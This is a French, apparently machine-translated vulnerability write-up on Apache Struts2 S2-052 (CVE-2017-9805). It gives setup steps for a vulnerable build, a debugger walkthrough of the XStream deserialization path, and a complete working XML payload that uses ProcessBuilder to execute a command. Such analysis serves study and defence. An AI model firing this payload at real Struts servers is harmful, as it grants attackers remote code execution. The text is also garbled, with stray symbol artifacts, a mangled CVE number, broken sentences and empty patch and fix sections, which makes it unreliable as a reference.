Maison > Article > Opération et maintenance > Exemple d'analyse de vulnérabilité Struts2-052
Le 5 septembre 2017, une grave vulnérabilité découverte par des chercheurs en sécurité de l'organisation étrangère de recherche en sécurité lgtm.com a été officiellement publiée dans Apache Struts 2, avec le numéro de vulnérabilité CVE-2017. - 9805 (S2-052), un attaquant peut transmettre des données XML soigneusement construites et exécuter des commandes à distance.
Le composant XStream du plug-in Struts2 REST présente une vulnérabilité de désérialisation Lorsque vous utilisez le composant XStream pour désérialiser des paquets de données au format XML, le contenu des données n'est pas vérifié efficacement, ce qui présente un risque de sécurité et peut être exécuté par. commandes à distance.
Conditions d'exploitation : en utilisant le plugin REST et dans la plage des versions concernées.
Méthode d'utilisation : L'attaquant construit des paquets de données malveillants pour une exploitation à distance.
Versions concernées : Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
1) Téléchargez le code source officiel :# 🎜🎜#git clone https://github.com/apache/Struts.git
2) Passer à la branche 2.5.12 :
git checkout STRUTS_2_5_12
3) Packager le source code dans src/ Copiez l'intégralité du dossier apps/rest-showcase et créez un nouveau projet
4) Utilisez IDEA ou Eclipse pour importer le projet maven
5) Après avoir exécuté en mode débogage, vous pouvez déboguer avec plaisir # 🎜🎜##🎜 🎜#
Analyse des principes de vulnérabilité
Définissez d'abord un point d'arrêt dans cette méthode, puis construisez le paquet de données
Après avoir envoyé le paquet de données, il passera au point d'arrêt . À ce stade, on voit que la méthode est appelée par ContentTypeInterceptor dans la pile d'appels supérieure
La méthode d'interception dans la classe ContentTypeInterceptor générera l'objet correspondant en fonction de la valeur du. Incoming Content-Type. Puisque nous avons l'entrée application/xml, un objet de traitement XML XStreamHandler est généré en conséquence.
Continuez f5 et voyez la fonction unmarshal qui effectue la désérialisation. Il n'y a pas de contrôle de sécurité des données lorsque cette fonction est exécutée, ce qui entraîne l'exécution de commandes à distance.
Ensuite, entrez la fonction unmarshal et continuez le débogage. AbstractReflectionConverter analysera les balises XML et les valeurs que nous avons soumises étape par étape, et enfin appellera le code dans le poc
#. 🎜🎜## 🎜🎜#Récurrence de vulnérabilité
Cliquez sur Soumettre sur la page http://localhost:8080//struts2-rest-showcase/orders/3/edit, #🎜🎜 ##🎜 🎜#Interceptez la requête HTTP et modifiez le corps de la requête en POC Payload, puis modifiez l'en-tête Content-Type en application/xml.
<map> <entry> <jdk.nashorn.internal.objects.nativestring> <flags>0</flags> <value> <datahandler> <datasource> <is> <cipher> <initialized>false</initialized> <opmode>0</opmode> <serviceiterator> <iter> <iter></iter> <next> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirecterrorstream>false</redirecterrorstream> </next> </iter> <filter> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types></parameter-types> </method> <name>foo</name> </filter> <next>foo</next> </serviceiterator> <lock></lock> </cipher> <input> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </datasource> <transferflavors></transferflavors> </datahandler> <datalen>0</datalen> </value> </jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> <entry> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> </map>
Patch
Suggestion de correction
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!